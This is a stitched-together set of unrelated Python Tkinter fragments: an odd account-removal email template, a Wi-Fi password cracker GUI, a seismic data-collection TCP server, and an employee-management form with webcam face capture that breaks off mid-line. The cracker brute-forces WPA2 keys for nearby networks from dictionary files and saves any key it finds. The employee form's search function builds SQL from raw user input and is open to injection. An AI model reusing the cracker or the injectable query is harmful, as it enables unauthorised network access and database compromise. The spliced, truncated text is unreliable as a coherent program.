"REMOVED from 'The Hive'" content = '''\ Dear {username}, \n You have been REMOVED from out system 'The Hive' for breaking our policies.\n You have one more chance to login for some final processing.\n If you believe we've aken a mistake please reach out to a Super User.\n\n Best Regards,\n The Hive Team '''.format(username=username) send_email(subject, content, email)
class Watchdog(): def __init__(self): self.root = Tk() self.root.title('Wi-Fi破解') self.root.wm_attributes('-topmost', 1) self.root.geometry('820x400+300+200') self.root.maxsize(800, 350) self.root.minsize(800, 350) self.root.iconbitmap('2.ico') self.list = [] self.MODES = [ ("top10", 'top10.txt', 0), ("top20", 'top20.txt', 1), ("top100", 'top100.txt', 2), ] self.filename = './top10.txt' self.break_flag = False self.ap_list = None self.ap_mac = None self.createWidgets() def createWidgets(self): self.frm = Frame(self.root) self.prograss = Progressbar(self.frm, mode="determinate", orient=HORIZONTAL) self.prograss.grid(row=1, column=1) self.prograss["maximum"] = 100 self.prograss_num = IntVar() self.prograss["variable"] = self.prograss_num self.prograss.pack(fill=X, padx=5, pady=5) self.frm_L = Frame(self.frm) self.frm_R = Frame(self.frm) self.frm_R.pack(side=RIGHT, fill=X) self.frm_L.pack(side=LEFT, fill=X) # 表格 self.tree = Treeview(self.frm_L, columns=['a', 'b', 'c', 'd', 'e'], show='headings', height=20, selectmode=BROWSE) # 内容居中 self.tree.column("a", width=50, anchor="center") self.tree.column("b", width=200, anchor="center") self.tree.column("c", width=150, anchor="center") self.tree.column("d", width=80, anchor="center") self.tree.column("e", width=100, anchor="center") # 内容标题 self.tree.heading('a', text='NO.') self.tree.heading('b', text='SSID') self.tree.heading('c', text='BSSID') self.tree.heading('d', text='SIGNAL') self.tree.heading('e', text='ENC/AUTH') self.tree.bind('<ButtonRelease-1>', self.selectItem) self.tree.pack(fill=X, padx=5, pady=10) self.loading_val = StringVar() self.loading_text = Label(self.frm, textvariable=self.loading_val, padx=10, pady=5, font='微软雅黑 -15') self.scan_button = Button(self.frm_R, text='扫描WiFi', command=self.thread_a) self.scan_button.pack(fill=X, padx=5, pady=10, ipadx=8, ipady=5) self.radio_frm = Frame(self.frm_R) self.radio_frm.pack(fill=X, padx=5, pady=5) self.radio_val = StringVar() self.radio_val.set('top10.txt') for text, mode, col in self.MODES: b = Radiobutton(self.radio_frm, text=text, command=self.change_file, variable=self.radio_val, value=mode) b.grid(column=col, row=0) self.stop_scan_button = Button(self.frm_R, text='选择其它文件', command=self.dic_select) self.stop_scan_button.pack(fill=X, padx=5, pady=10, ipadx=8, ipady=5) self.attack_button = Button(self.frm_R, text='破解攻击', command=self.attack_wifi) self.attack_button.pack(fill=X, padx=5, pady=10, ipadx=8, ipady=5) self.stop_button = Button(self.frm_R, text='终止攻击', command=self.break_flag_control) self.stop_button.pack(fill=X, padx=5, pady=10, ipadx=8, ipady=5) self.frm.pack() def get_wifi_interface(self): # 获取网卡接口 wifi = PyWiFi() if len(wifi.interfaces()) <= 0: tkinter.messagebox.showerror('提示', '没有找到wifi网卡') exit() if len(wifi.interfaces()) == 1: # self.message_box('搜索到网卡设备 %s' % (wifi.interfaces()[0].name())) iface = wifi.interfaces()[0] return iface else: print('%-4s %s' % ('No', 'interface name')) for i, w in enumerate(wifi.interfaces()): print('%-4s %s' % (i, w.name())) while True: iface_no = input('Please choose interface No:') no = int(iface_no) if no >= 0 and no < len(wifi.interfaces()): return wifi.interfaces()[no] def selectItem(self, event): #绑定函数 item = self.tree.focus() self.ap_mac = self.tree.item(item)['values'][2] # print (self.ap_mac) def dic_select(self): self.radio_val.set('1') self.filename = "" new_filename = tkinter.filedialog.askopenfilename(filetypes=[('TXT', 'txt')]) if new_filename != '': self.filename = new_filename def attack_wifi(self, timeout=8): if self.break_flag == True: tkinter.messagebox.showinfo('提示', '正在攻击,请先终止攻击') return if self.ap_list == None: tkinter.messagebox.showinfo('提示', '未扫描WiFi,无法操作') return if self.ap_mac == None: tkinter.messagebox.showinfo('提示', '请选择要爆破的wifi') return if self.filename == "": tkinter.messagebox.showinfo('提示', '请选择爆破用字典文件') return # 读取txt with open(self.filename, 'r') as f: keys = f.readlines() target = None for k, x in self.ap_list.items(): if x.bssid == self.ap_mac: target = x break self.break_flag = True if target != None: key_index = 0 profile = pywifi.Profile() profile.ssid = target.ssid.strip() profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP while key_index < len(keys) and self.break_flag: key = keys[key_index] profile.key = key.strip() self.prograss_num.set((key_index + 1) * 100 / len(keys)) # self.iface.remove_all_network_profiles() self.iface.disconnect() self.iface.connect(self.iface.add_network_profile(profile)) code = -1 pre_time = time.time() now_time = time.time() - pre_time # self.dic_var.set('当前正在尝试密码%s'%key.strip()) # print(target.ssid) while True: self.root.update() time.sleep(0.1) code = self.iface.status() now_time = time.time() - pre_time if code == const.IFACE_DISCONNECTED or now_time > timeout: break # if code == const.IFACE_DISCONNECTED: # break elif code == const.IFACE_CONNECTED: tkinter.messagebox.showinfo('提示', '密码破解成功,密码为%s' % key) self.break_flag = False f = open(x.ssid, 'w+') f.write(key) f.close() return if code == const.IFACE_DISCONNECTED and now_time < 1: time.sleep(8) continue key_index = key_index + 1 time_former = time.time() if self.break_flag: tkinter.messagebox.showinfo('提示', '密码破解失败,请尝试其它密码字典') else: tkinter.messagebox.showinfo('提示', '已经终止破解') else: tkinter.messagebox.showinfo('提示', '选择的wifi已丢失') self.break_flag = False def change_file(self): rad_file = self.radio_val.get() self.filename = './' + rad_file print(self.filename) def scan_loading(self): self.loading_text.place(x=250, y=170) self.loading_val.set("Loading. ") text = ["Loading. ", "Loading.. ", "Loading... "] index = 0 while self.is_loading: time.sleep(0.5) self.loading_val.set(text[index % 3]) index = index + 1 self.loading_text.place_forget() def scan_wifi(self): #清空列表 items = self.tree.get_children() for item in items: self.tree.delete(item) self.is_loading = True t = threading.Thread(target=self.scan_loading) t.start() self.iface = self.get_wifi_interface() self.ap_list = {} self.ap_mac = None # 还需要扫描次数,此处没有 self.iface.scan() time.sleep(5) for i, x in enumerate(self.iface.scan_results()): ssid = x.ssid if len(ssid) == 0: # hidden ssid #ssid = '<length: 0>' continue elif ssid == '\\x00': # hidden ssid #ssid = '<length: 1>' continue else: if len(x.akm) > 0: # if len(x.akm)==0 ,the auth is OPEN self.ap_list[x.bssid] = x self.tree.insert('', 'end', values=[ i + 1, ssid, x.bssid, x.signal, self.get_akm_name(x.akm) ]) self.is_loading = False def get_akm_name(self, akm_value): # 获取加密类型 akm_name_value = { 'NONE': 0, 'UNKNOWN': 5, 'WPA': 1, 'WPA2': 3, 'WPA2PSK': 4, 'WPAPSK': 2 } akm_names = [] for a in akm_value: for k, v in akm_name_value.items(): if v == a: akm_names.append(k) break if len(akm_names) == 0: akm_names.append("OPEN") return '/'.join(akm_names) def thread_a(self): # 线程控制 t = threading.Thread(target=self.scan_wifi) t.start() def thread_b(self): #线程控制 t = threading.Thread(target=self.attack_wifi) t.start() def break_flag_control(self): self.break_flag = False
class Gui(Frame): __slots__ = ('selectedbox','desiredbox','logger','clidisp','ls','tgtbox',\ 'thread','dir','running','startb','cliententry','commandlist','clientnum', 'scale'\ ) def __init__(self,master): xpos=0.05 self.running = 0 #not listening self.debug=BooleanVar() self.debug.set(False) self.frame = Frame() self.frame.place(relx=xpos ,rely=0.67) self.startb = Button(self.frame, text = "Start Server", command = self.startc,height=2, width=20,\ bg='#90ee90') self.startb.pack(side = LEFT, anchor = S) self.connectionl = Label(self.frame, text = "OFF.",height=2,bg='#ff5f5f') self.connectionl.pack(side = LEFT, anchor = E,expand=YES) self.expertmode=BooleanVar() self.expertmode.set(False) self.showexpert = Checkbutton( text='Expert Mode',variable=self.expertmode, command=self.placeframe) self.showexpert.place(relx=xpos,rely=0.74) self.framecommand=Frame() self.commandlabel=Label(self.framecommand,text='Command to Client: ') self.commandtext=Entry(self.framecommand, width=15) self.cliententry=Entry(self.framecommand, width=10) self.addrlabel=Label(self.framecommand,text='Client Box ID: ') self.sendbutton=Button(self.framecommand,text='Send Command\nto Client', width=12,height=4\ ,command=self.send_command) self.tgtbox=None self.logoframe=Frame() self.logoframe.place(relx=xpos,rely=0.04) self.logo=PhotoImage(file=os.path.join('images','logo2.png')) self.logolabel=Label(self.logoframe,image=self.logo) self.logolabel.pack () self.cliframe=Frame() self.cliframe.place(relx=0.4,rely=0.1) # self.condisp=Listbox (self.cliframe,width=80,height=12) self.scrollbartop=Scrollbar(self.cliframe) self.clidisp=Treeview(self.cliframe,height=12) self.clidisp['show'] = 'headings' self.clidisp['columns'] = ('boxid', 'ip') self.clidisp.heading('ip', text='IP') self.clidisp.heading('boxid', text='Box ID') self.clidisp.column('boxid', width=152) self.clidisp.column('ip', width=490) self.clidisp.pack(side=LEFT,fill=Y) # self.condisp.pack(side=LEFT,fill=Y) self.scrollbartop.pack(side=RIGHT,fill=Y) self.scrollbartop.config(command=self.clidisp.yview) self.clidisp.config(yscrollcommand=self.scrollbartop.set) self.conntitle=Label(text='Connected Clients↓ ') self.conntitle.place(relx=0.4, rely=0.05) self.cdframe=Frame() self.cdframe.place(relx=0.7,rely=0.05) self.numtitle=Label(self.cdframe,text='Total Connected Clients: ',\ bg='#ff5f5f') self.clientnum=Label(self.cdframe,text=str(len(self.clidisp.get_children())),\ bg='#ff5f5f',font=("", 16)) self.numtitle.pack(side=LEFT) self.clientnum.pack(side=LEFT) self.checkdebug = Checkbutton( text='Debug Mode',variable=self.debug) self.checkdebug.place(relx=0.6,rely=0.5) self.logtitile=Label(text='Logs↓ ') self.logtitile.place(relx=0.4,rely=0.5) self.scrolltext=Frame() self.scrolltext.place(relx=0.4,rely=0.55) if sys.platform.startswith('win'): self.logger=Text (self.scrolltext,state=DISABLED,height=16,width=71) else: self.logger=Text (self.scrolltext,state=DISABLED,height=15,width=64) self.scrollbar=Scrollbar(self.scrolltext) self.logger.pack(side=LEFT,fill=Y) self.scrollbar.pack(fill=BOTH,expand=True) self.scrollbar.config(command=self.logger.yview) self.logger.config(yscrollcommand=self.scrollbar.set) self.logger.tag_configure(0, background="#27d827",foreground='#d82780') self.logger.tag_configure(1, background="#58a758") self.logger.tag_configure(2, background="#4bb543") self.logger.tag_configure(3, background="#000000",foreground='#00aecd') self.logger.tag_configure(4, background="#ffd8ff") self.logger.tag_configure(5, background="#ffc4ff") self.logger.tag_configure(6, background="#ff89ff") self.logger.tag_configure(7, background="#ff9d9d") self.logger.tag_configure(8, background="#ff6262") self.logger.tag_configure(9, background="#d80000",foreground='#00d8d8') self.framehp = Frame() self.framehp.place(relx=xpos,rely=0.17) self.framehost=Frame(self.framehp) self.frameport=Frame(self.framehp) self.invalidtext=Label(self.framehost,text=' ✘ Please Enter a number \nfrom 0-254',foreground='#c40000') self.invalidtextport=Label(self.frameport,text=' ✘ Please Enter a number \nfrom 1-65535',foreground='#c40000') self.framehost.pack(side=TOP,anchor=W) self.frameport.pack(side=TOP,anchor=W) self.hostnum1=intEnt(self.framehost,width=3,label=self.invalidtext) self.hostnum1.insert(INSERT,'0') self.hostnum2=intEnt(self.framehost,width=3,label=self.invalidtext) self.hostnum2.insert(INSERT,'0') self.hostnum3=intEnt(self.framehost,width=3,label=self.invalidtext) self.hostnum3.insert(INSERT,'0') self.hostnum4=intEnt(self.framehost,width=3,label=self.invalidtext) self.hostnum4.insert(INSERT,'0') self.dot1=Label(self.framehost,text='.') self.dot2=Label(self.framehost,text='.') self.dot3=Label(self.framehost,text='.') self.hostlabel=Label(self.framehost,text='Host :') self.portnum=intEnt(self.frameport,width=6,\ maxlen=5,minval=0,maxval=65536,label=self.invalidtextport) self.portlabel=Label(self.frameport,text='Port :') self.portnum.insert(INSERT,'10086') self.hostlabel.pack(side=LEFT,pady=3) self.hostnum1.pack(side=LEFT,pady=3) self.dot1.pack(side=LEFT,pady=3) self.hostnum2.pack(side=LEFT,pady=3) self.dot2.pack(side=LEFT,pady=3) self.hostnum3.pack(side=LEFT,pady=3) self.dot3.pack(side=LEFT,pady=3) self.hostnum4.pack(side=LEFT,pady=3) self.portlabel.pack(side=LEFT,pady=3) self.portnum.pack(side=LEFT, pady=3) self.errhost=Label(text='Number must between 0 and 255') self.errport=Label(text='Number must between 1 and 65535') self.framets = Frame() self.framets.place(relx=xpos,rely=0.27) self.timespan=IntVar() self.scale=Scale(self.framets,variable=self.timespan, orient=HORIZONTAL, \ from_=10, to=60,bg='#dcdcdc', length=230) self.scale.set(60) self.tslabel=Label(self.framets,text='Time per File (seconds):') self.tslabel.pack(side=TOP,anchor=W) self.scale.pack(side=LEFT) self.frame2= Frame() self.frame2.place(relx = xpos, rely = 0.5) self.outbtn= Button(text='Select Directory',command=self.Folder,bg='#cfcfcf',width=20) self.dir=os.path.join('data','') self.outbtn.place(relx=xpos,rely=0.4) self.dirlabel=Label(self.frame2,text='↓ Curret Directory ') self.dirtext= Label(self.frame2,text=self.dir,wraplength=400,justify=LEFT) self.dirlabel.pack(side=TOP,anchor=W,pady=5) self.dirtext.pack(side=LEFT) self.radioframe= Frame() self.v = BooleanVar() explain=Label(self.radioframe,text='Save File As: ').pack(side=LEFT,anchor=W) self.rb1=Radiobutton(self.radioframe, text=".mseed", variable=self.v, value=False) self.rb1.pack(side=LEFT,anchor=W) self.rb2=Radiobutton(self.radioframe, text=".dat", variable=self.v, value=True) self.rb2.pack(side=LEFT,anchor=W) self.radioframe.place(relx = xpos, rely = 0.45) self.sendbutton.pack(side=RIGHT,anchor=SE,padx=20, pady=10, expand=YES) self.addrlabel.pack(side=TOP,anchor=NW) self.cliententry.pack(side=TOP,anchor=NW) self.commandlabel.pack(side=TOP,anchor=NW) self.commandtext.pack(side=TOP,anchor=NW) self.bytestosend=bytearray(b'') self.selectedbox=None self.desiredbox=None self.headlen=24 self.commandlist={'command1':b'\x55\xaa\x55','command2':b'\xaa\x55\xaa'} return def send_command(self): box=self.cliententry.get() self.tgtbox=box self.showtext('{} Command send to Box# {}'.format(self.commandtext.get(),box),2) return def check_entval(self): self.hostcheck=all((self.hostnum1.check(),self.hostnum2.check(),\ self.hostnum3.check(),self.hostnum4.check())) self.portcheck=self.portnum.check() if self.hostcheck: self.errhost.place(relx=0.4,rely=0.4) else: self.errhost.place_forget() if self.portcheck: self.errport.place(relx=0.4,rely=0.4) else: self.errport.place_forget() return def socket_thread(self): host=self.check_ip() port=self.check_port() if (host and port): self.showtext ("Server starting.. ",0) self.running = 1 try: asyncio.run(main()) except OSError as err: self.enableedit() self.showtext ("OS error: {0} ".format(err),9) self.showtext ('Please Close Application using Port: %s ' %port,9) self.showtext ('Server Stopped ',7) self.connectionl.configure(text="OFF.",bg='#ff5f5f') raise OSError ('Port Being Used') return sleep(0.2) try: self.showtext("Server listening on port %s " %port,1) except (Exception) as e: self.enableedit() self.showtext("Connect exception: "+str(e) +'',9) self.connectionl.configure(text="OFF.",bg='#ff5f5f') self.forcestop() return return def close_sequence(self,conn,addr,ID=None): try: self.clidisp.delete('box{}'.format(ID)) self.forcestop() except: pass self.checkcolor() return async def handle_echo(self,reader, writer): head=b'\x34\x35\x36\x37' NotInserted=True i=0 counter=0 data_saved=bytearray(b'') seed_data=[] recv_data=bytearray(b'') data_recv=bytearray(b'') timeNotpresent=True SendClientInfo=False st=Stream([]) addr = writer.get_extra_info('peername') self.showtext(f"Connection from {addr!r}",3) Permission=False while self.running: data_recv += await reader.read(65536) data_recv=bytearray(data_recv) print(len(data_recv)) if len(data_recv)>=15000: start=data_recv.find(b'\x32\xaa\x32\xaa') end=data_recv.rfind(b'\x32\xaa\x32\xaa') check=(len(data_recv[start:end])-self.headlen)% 4 if start==end: data_recv=data_recv[start:] elif end > start and (check) % 4 == 0: data_buffer=data_recv[start:end] data_recv=data_recv[end:] Permission=True elif end > start: data_buffer=data_recv[start:end-check] data_recv=data_recv[end:] Permission=True print(start,end) if (Permission and len(data_buffer)>12): connect_start=time() # reset timeout time if i==0: i+=1 data_buffer.clear() Permission=False continue ID=str(data_buffer[4:7].decode()) if (ID=='DVG'): children=self.clidisp.get_children() # self.values=b'\xff\xfe\xfd\xfc\xfb' self.values=bytearray(b'') for child in children: a=list(self.clidisp.item(child).values()) a=a[2][0] if isinstance (a,int): thing=struct.pack('>H',a) self.values+=thing writer.write(self.bytestosend+head+self.values) await writer.drain() self.bytestosend=bytearray(b'') if NotInserted: address=('{}:{}'.format(addr[0],addr[1])) self.clidisp.insert('', 'end','box'+ID,values=(ID,address)) # self.clientnum.config(text=str(len(self.clidisp.get_children()))) NotInserted=False if (data_buffer[7:9]!=b'\x99\x99'): self.desiredbox=struct.unpack('>H',data_buffer[7:9])[0] else: # conn.settimeout(120) writer.write(data_buffer[0:7]) await writer.drain() # print(data_buffer[0:7]) if int(ID)==self.desiredbox: self.bytestosend.clear() self.bytestosend+=data_buffer if (self.tgtbox==ID): command=self.commandtext.get() commandtosend=self.commandlist[command] writer.write(commandtosend) await writer.drain() counter+=1 if counter >= 5: self.tgtbox=None continue if counter > 10: self.tgtbox=None break if NotInserted: address=('{}:{}'.format(addr[0],addr[1])) try: self.clidisp.insert('', 'end','box{}'.format(ID),values=(ID,address)) except: pass # self.clientnum.config(text=str(len(self.clidisp.get_children()))) NotInserted=False self.showtext('Hello, I am Box# {}'.format(ID), 2) self.checkcolor() if timeNotpresent: try: year=struct.unpack('>1H',data_buffer[7:9]) year=int(year[0]) month=int(struct.unpack('>1B',data_buffer[9:10])[0]) day=int(struct.unpack('>1B',data_buffer[10:11])[0]) hour=int(struct.unpack('>1B',data_buffer[11:12])[0]) minute=int(struct.unpack('>1B',data_buffer[12:13])[0]) second=int(struct.unpack('>1B',data_buffer[13:14])[0]) starttime=datetime(year,month,day,hour,minute,second) except: self.showtext('Invalid Time in box# {}.. Using Computer UTC\ time instead'.format(ID), 7) starttime=datetime.utcnow() timeNotpresent=False data_buffer=bytearray(data_buffer[self.headlen:]) if self.v.get(): if timeNotpresent: fn=starttime.strftime("%Y%m%d%H%M%Ss") timeNotpresent=False data_saved+=data_buffer if len (data_saved) >=12000*self.timespan.get(): # self.showtext('Time Check--> '+str(starttime),2,self.debug.get()) self.showtext('{} Writing Original Files'.format(addr),2,self.debug.get()) with open (os.path.join(self.dir,str(ID),fn+'.dat'),'wb') as f: f.write(data_saved) data_saved.clear() timeNotpresent=True else: unpacked_display_data = np.array(unpack(data_buffer)) if max(unpacked_display_data) > 10e10: data_buffer.clear() Permission=False self.showtext('Box {} Have corrupted Data'.format(ID),7) seed_data.extend(np.zeros(len(unpacked_display_data))) continue # seed_data.extend(unpacked_display_data) # if len(seed_data) >=3000*self.timespan.get(): # self.showtext('{} Writing miniseed Files'.format(addr),2,self.debug.get()) # writeseed(np.array(seed_data[:3000*self.timespan.get()]),\ # starttime,ID,self.dir) # seed_data=seed_data[3000*self.timespan.get():] # timeNotpresent=True tempst=trace_gen(unpacked_display_data,\ starttime,ID) st+=tempst if (len(st)>=int(3*self.timespan.get())): self.showtext('{} Writing mini-seed Files'.format(addr),2,self.debug.get()) st.merge(method=1,fill_value='interpolate') # st.merge(method=-1) writestream(st,ID,self.dir) st=Stream([]) data_buffer.clear() Permission=False if (self.running==0) or (time()-connect_start > 60): self.showtext ("No Data! Closing Connections!",9) # self.clidisp.delete('box'+str(ID)) break # print(f"Send: {message!r}") # writer.write(message) # await writer.drain() # self.showtext("Close the connection", 5) # writer.close() return async def startserver(self): self.server = await asyncio.start_server( self.handle_echo, '127.0.0.1', 10086,reuse_address=True) addr = self.server.sockets[0].getsockname() self.showtext(('Serving on {}'.format(addr)),2) async with self.server: await self.server.serve_forever() return def seq (self): asyncio.run(self.startserver()) return def startc(self): if self.running == 0: self.disableedit() self.connectionl.configure(text="INITIALIZING!",bg='#ffffaa') self.size=1000*3*int(self.timespan.get()) self.scale.config(state='disabled',bg='#3f3f3f',fg='#fafafa') self.showtext ("Starting Server ",0) self.thread=threading.Thread(target=self.seq) self.thread.start() self.running=1 self.startb.configure(bg='#ff276f',text = "Stop Server",command=self.stopc) return else: self.showtext ("Server already started. ",8) return return def stopc(self): self.enableedit() self.scale.config(state='active',bg='#dcdcdc',fg='#000000') if self.running: self.forcestop() self.showtext ("stopping thread... ",7) self.running = 0 sleep(1) self.thread.join(1) self.server.close() self.clidisp.delete(*self.clidisp.get_children()) self.checkcolor() self.connectionl.configure(text="OFF.",bg='#ff5f5f') try: raise KeyboardInterrupt ('Server Terminated Due to user Action') except KeyboardInterrupt: self.showtext('Server Terminated Due to user Action',7) return else: self.showtext ("Server not running",7) return def check_ip(self): try: if int(self.hostnum1.get())>255: showerror("Error","First number in your Host Section is greather than 255 " ) self.showtext('Server Stopped ',7) return 0 elif int(self.hostnum2.get())>255: showerror("Error","Second number in your Host Section is greather than 255 " ) self.showtext('Server Stopped ',7) return 0 elif int(self.hostnum3.get())>255: showerror("Error","Third number in your Host Section is greather than 255 " ) self.showtext('Server Stopped ',7) return 0 elif int(self.hostnum4.get())>255: showerror("Error","Forth number in your Host Section is greather than 255 " ) self.showtext('Server Stopped ',7) return 0 else: return '{}.{}.{}.{}'.format (self.hostnum1.get(),self.hostnum2.get(),\ self.hostnum3.get(),self.hostnum4.get()) except: showerror("Error","Please make sure whole numbers are entered in host section" ) self.showtext('Server Stopped ',7) return 0 def check_port(self): try: if 65536<int(self.portnum.get()): showerror("Error","Please enter a whole number between 1 and 65535 in Port section" ) self.showtext('Server Stopped ',7) else: return int(self.portnum.get()) except: showerror("Error","Please make sure whole numbers are entered in port section" ) self.showtext('Server Stopped ',7) return 0 def Folder(self): targetdir=askdirectory() if targetdir: self.dirtext.config(text=targetdir) self.dir=targetdir return def checkcolor(self): if len(self.clidisp.get_children())>0: self.numtitle.config(text='Total Connected Clients: ',\ bg='#afffbf') self.clientnum.config(text=str(len(self.clidisp.get_children())),\ bg='#afffbf',font=("", 16)) else: self.numtitle.config(text='Total Connected Clients: ',\ bg='#ff5f5f') self.clientnum.config(text=str(len(self.clidisp.get_children())),\ bg='#ff5f5f',font=("", 16)) return def placeframe(self): if self.expertmode.get(): showwarning("Warning","Command in Expert Mode can permnantly " \ 'shutdown selected device(s)') self.framecommand.place(relx=0.05,rely=0.79) else: self.framecommand.place_forget() return def showtext(self,text,colorcheck,DEBUG=True): with open ('logs.txt','a+') as f: f.write(gettime()+text+'\n') if DEBUG: self.logger.config(state=NORMAL) self.logger.insert(END,gettime()+text+'\n',colorcheck) self.logger.see('end') self.logger.config(state=DISABLED) return return def forcestop(self): self.startb.configure(bg='#90ee90',text = "Start Server",command=self.startc) try: asyn except: pass return def enableedit(self): self.portnum.configure(state='normal') self.hostnum1.configure(state='normal') self.hostnum2.configure(state='normal') self.hostnum3.configure(state='normal') self.hostnum4.configure(state='normal') self.rb1.configure(state='normal') self.rb2.configure(state='normal') self.outbtn.configure(state='normal') return def disableedit(self): self.portnum.configure(state='disable') self.hostnum1.configure(state='disable') self.hostnum2.configure(state='disable') self.hostnum3.configure(state='disable') self.hostnum4.configure(state='disable') self.rb1.configure(state='disable') self.rb2.configure(state='disable') self.outbtn.configure(state='disable') return def run (self): loop = asyncio.get_event_loop() loop.run_until_complete(self._tkLoop()) return def _onDeleteWindow(self): self.root = None return async def _tkLoop(self): while self.root: self.root.update() await asyncio.sleep(0.1) return
def manage_employee(): first = Toplevel() first.iconbitmap("Photos/Bokehlicia-Captiva-System-users.ico") first.geometry("1350x700+0+0") bg_photo = PhotoImage(file = "Photos/background3.png", master = first) background_pic = Label(first, image = bg_photo) background_pic.pack() first.title("Manage Employee post") print("Hi Chhabi lal tamang") face = Label(first, text = "Management of Employee & post" , bg = "green" , fg = "yellow", padx = 15, pady = 15, font = ("Times New Roman", 20, "bold") ,borderwidth = 5, relief = RIDGE).place(x = 500, y = 10) main = Label(first, bg = "gray", borderwidth = 1).pack() #All Required variables for database eid_var = StringVar() post_var = StringVar() fname_var = StringVar() gender_var = StringVar() contact_var = StringVar() address_var = StringVar() DOJ_var = StringVar() search_by = StringVar() search_text = StringVar() #################################################### Functions of Employee Management form ######################### ########################################## To Add the Employee def add_employee(): if post_var.get() == "" or fname_var.get() == "" or gender_var.get() == "" or contact_var.get() == "" or address_var.get() == "" or DOJ_var.get() == "": messagebox.showerror("Error","All fields are Required", parent = first) else: conn = pymysql.connect(host = "localhost", user = "******", password = "", database = "recognition") cur = conn.cursor() cur.execute("insert into attendance VALUES (%s,%s,%s,%s,%s,%s,%s)", (eid_var.get(), post_var.get(), fname_var.get(), gender_var.get(), contact_var.get(), address_var.get(), DOJ_var.get() )) conn.commit() display() clear() conn.close() ######################################################################## To Display the data of Employee def display(): conn = pymysql.connect(host = "localhost", user = "******", password = "", database = "recognition") cur = conn.cursor() cur.execute("select * from attendance") data = cur.fetchall() if len(data)!= 0: table1.delete(*table1.get_children()) for row in data: table1.insert('', END, values = row) conn.commit() conn.close() ########################################### To clear the data def clear(): eid_var.set("") post_var.set("") fname_var.set("") gender_var.set("") contact_var.set("") address_var.set("") DOJ_var.set("") ####################### To display the selected items in text field area def focus_data(event): cursor = table1.focus() contents = table1.item(cursor) row = contents['values'] eid_var.set(row[0]) post_var.set(row[1]) fname_var.set(row[2]) gender_var.set(row[3]) contact_var.set(row[4]) address_var.set(row[5]) DOJ_var.set(row[6]) ############################## To update the data def update(): if post_var.get() == "" or fname_var.get() == "" or gender_var.get() == "" or contact_var.get() == "" or address_var.get() == "" or DOJ_var.get() == "": messagebox.showerror("Error","All fields are Required", parent = first) else: conn = pymysql.connect(host = "localhost", user = "******", password = "", database = "recognition") cur = conn.cursor() cur.execute("update attendance set post = %s, fname = %s, gender = %s, contact_no = %s, email_address = %s, date_of_join = %s where eid = %s", ( post_var.get(), fname_var.get(), gender_var.get(), contact_var.get(), address_var.get(), DOJ_var.get(), eid_var.get() )) conn.commit() display() clear() conn.close() ###################### To delete the items def delete(): if post_var.get() == "" or fname_var.get() == "" or gender_var.get() == "" or contact_var.get() == "" or address_var.get() == "" or DOJ_var.get() == "": messagebox.showerror("Error","All fields are Required", parent = first) else: conn = pymysql.connect(host = "localhost", user = "******", password = "", database = "recognition") cur = conn.cursor() cur.execute("delete from attendance where eid = %s",eid_var.get()) conn.commit() conn.close() display() clear() def search_data(): conn = pymysql.connect(host = "localhost", user = "******", password = "", database = "recognition") cur = conn.cursor() cur.execute("select * from attendance where " + str(search_by.get()) + " like '%" + str(search_text.get()) + "%'") data = cur.fetchall() if len(data)!= 0: table1.delete(*table1.get_children()) for row in data: table1.insert('', END, values = row) conn.commit() conn.close() def show_data(): display() def add_photo(): Id = eid_var.get() name = fname_var.get() if (Id == "" or name == ""): messagebox.showerror("Error", "ID and Name are Required", parent = first) else: cam = cv2.VideoCapture(0) harcascadePath = "C:/Users/lant/Desktop/Project/haarcascades_files/opencv-master/data/haarcascades/haarcascade_frontalface_default.xml" detector=cv2.CascadeClassifier(harcascadePath) sampleNum=0 while(True): ret, img = cam.read() gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) faces = detector.detectMultiScale(gray, 1.3, 5) for (x,y,w,h) in faces: cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2) #incrementing sample number sampleNum=sampleNum+1 #saving the captured face in the dataset folder TrainingImage file_path = 'C:/Users/lant/Desktop/Project/TrainingImage/'+ name + "." + Id + '.' + str(sampleNum) + ".jpg" cv2.imwrite(file_path, gray[y:y+h,x:x+w]) #display the frame cv2.putText(img,str(sampleNum),(100,100),cv2.FONT_HERSHEY_COMPLEX,1,(0,255,0),2) cv2.imshow('frame',img) #wait for 100 miliseconds if cv2.waitKey(100) & 0xFF == ord('q'): break # break if the sample number is morethan 30 elif sampleNum>30: break cam.release() cv2.destroyAllWindows() messagebox.showinfo("Success", "All photos are collected", parent = first) print("All samples are collected Successfully") row = [Id , name] with open('StudentDetails\StudentDetails.csv','a+') as csvFile: writer = csv.writer(csvFile) writer.writerow(row) csvFile.close() ################################################## Employee Management form ############################### f2 = Frame(first, bg = "gray",borderwidth = "3", relief = SUNKEN, height = 600, width = 420) titles = Label(f2, text = "Manage Employee" ,bg = "gray", font = ("Italic", 20, "bold")).place(x = 90, y = 30) id = Label(f2, text = "Employee ID", bg = "gray", font = ("italic",13, "bold")).place(x = 35, y = 100 ) E1 = Entry(f2, width = 20, textvariable = eid_var, font = ("italic",13, "bold") ).place(x = 180 , y = 100) post = Label(f2, text = "Post", bg = "gray", font = ("italic",13, "bold")).place(x = 35, y = 150 ) E2 = Entry(f2, width = 20, textvariable = post_var, font = ("italic",13, "bold")).place(x =180, y = 150) name = Label(f2, text = "Full Name", bg = "gray", font = ("italic",13, "bold")).place(x =35, y = 200) E3 = Entry(f2, width = 20, textvariable = fname_var , font = ("italic",12, "bold")).place(x = 180, y = 200) gender = Label(f2, text = "Gender", bg = "gray", font = ("italic",12, "bold")).place(x = 35, y= 250) E7 = Combobox(f2, textvariable = gender_var , values = ["Male","Female","Others"], state = "readonly", font = ("italic",11, "bold")).place(x = 180, y = 250) no = Label(f2, text = "Contact.No", bg = "gray", font = ("italic",12, "bold") ).place(x = 35, y = 300) E4 = Entry(f2, width = 20, textvariable = contact_var , font = ("italic",12, "bold") ).place(x = 180, y = 300 ) address = Label(f2, text = " Email Address", bg = "gray", font = ("italic",12, "bold")).place(x = 35, y = 350) E5 = Entry(f2, width = 20, textvariable = address_var , font = ("italic",12, "bold") ).place(x = 180, y = 350) date = Label(f2, text = "D.O.J(dd mm yyyy)", bg = "gray",font = ("italic",12, "bold")).place(x = 35, y = 400 ) E6 = Entry(f2, textvariable = DOJ_var , font = ("italic",12, "bold")).place(x = 180, y = 400) f2.place(x = 10, y = 90) # b2 = Button(first, text = "Close", command = first.destroy ).place(x = 135, y = 600) f3 = Frame(first, bg = "white", height = 130, width = 402) btn1 = Button(f3, text = 